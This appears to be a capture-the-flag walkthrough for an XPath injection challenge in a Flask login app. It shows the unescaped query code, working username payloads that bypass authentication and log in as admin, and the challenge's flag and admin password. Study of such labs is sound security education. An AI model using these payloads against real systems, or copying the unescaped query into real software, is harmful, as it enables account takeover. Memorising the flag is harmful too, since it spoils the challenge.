1. Understanding what's happening

In the Flask app, the authentication logic is:

```
query = "//user[username/text()='{u}' and password/text()='{p}']".format(u=u
sername, p=password)
res = tree.xpath(query)
```

So if a user enters:

```
username = alice
password = alicepwd
```

Then the query becomes:

```
//user[username/text()='alice' and password/text()='alicepwd']
```

That returns the `<user>` node for Alice — login succeeds.

🎯 2. The vulnerability

User input is **directly inserted into the XPath query string** without escaping.

That means we can **inject our own XPath syntax** (similar to SQL injection).

If we can make the condition always true, we can log in as *anyone* — including `admin`.

🧪 3. Goal

We want to **bypass login** or **extract the flag**.

The `<user>` entries in `users.xml` include:

```
<user>
  <username>admin</username>
  <password>supersecret</password>
  <flag>CHC{xpath_inject_medium_EUBHA1SW}</flag>
</user>
```

So we want to make the XPath return the `admin` user node.

💥 4. Testing injection

Try this input in the **Username** field:

```
' or '1'='1
```

and anything (e.g. `x`) in the **Password** field.

The resulting XPath becomes:

```
//user[username/text()='' or '1'='1' and password/text()='x']
```

XPath operator precedence means this could match any user depending on structure — often the first user (Alice).

You'll get a successful login as someone else.

🧩 5. Logging in as admin

To specifically target the `admin` user, we can use XPath's node navigation syntax.

Try this in the **Username** field:

```
' or username/text()='admin' or '1'='2
```

and any password (e.g. `abc`).

Now the expression becomes:

```
//user[username/text()='' or username/text()='admin' or '1'='2' and password/text()='abc']
```

This returns the `<user>` node for `admin`, because that OR condition matches.

Result → you'll be logged in as admin and the flag will appear on the admin page.

✅ 6. Flag

When successful, you'll see:

```
Flag: CHC{xpath_inject_medium_EUBHA1SW}
```